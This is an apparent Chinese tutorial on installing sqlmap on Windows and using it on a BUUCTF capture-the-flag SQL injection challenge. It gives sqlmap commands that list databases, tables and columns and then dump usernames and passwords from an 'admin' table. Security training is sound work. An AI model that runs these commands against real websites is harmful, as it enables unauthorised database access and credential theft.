Sqlmap下载和安装使用Windows

1.Windows系统下安装Sqlmap，需要安装python环境
python下载和安装，请参考大神的帖子：https://blog.csdn.net/Z_David_Z/article/details/113278533

2.sqlmap下载和安装
2.1.下载地址：http://sqlmap.org/，点击右边的zip file进行下载就好

2.2.下载完成后，解压到目录下，这是我的解压路径

2.2.解压完成后，添加环境变量
python的环境变量，python下载和安装请参考大神的指导
sqlmap添加环境变量

3.添加环境后，使用sqlmap命令操作
在sqlmap目录下打开cmd窗口，python 执行sqlmap.py 传入参数即可操作

操作命令
sqlmap下载：http://sqlmap.org/

解压sqlmap.zip包
sqlmapproject-sqlmap-1.8.8-0-g8b55644.zip
目录修改为sqlmap
2.在E:\softhome\sqlmap打开cmd命令窗口，输入命令
python sqlmap.py -u http://ad3b72b4-56a0-4aba-86f1-00c232c0d053.node5.buuoj.cn:81/backend/content_detail.php?id=2

操作命令
这些IP是BUUCTF的Basic 题目BUU SQL COURSE 1
BUUCTF地址：https://buuoj.cn/challenge
1.暴库
1.1.暴出所有库
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 --dbs
1.2.暴出当前所在库的表
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 --current-db

2.暴表
2.1.暴出所有数据表
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D news --tables
2.2.暴出指定数据表的字段
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D news -T admin --columns
2.3.暴出指定数据表的数据
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D news -T admin -C id,password,username --dump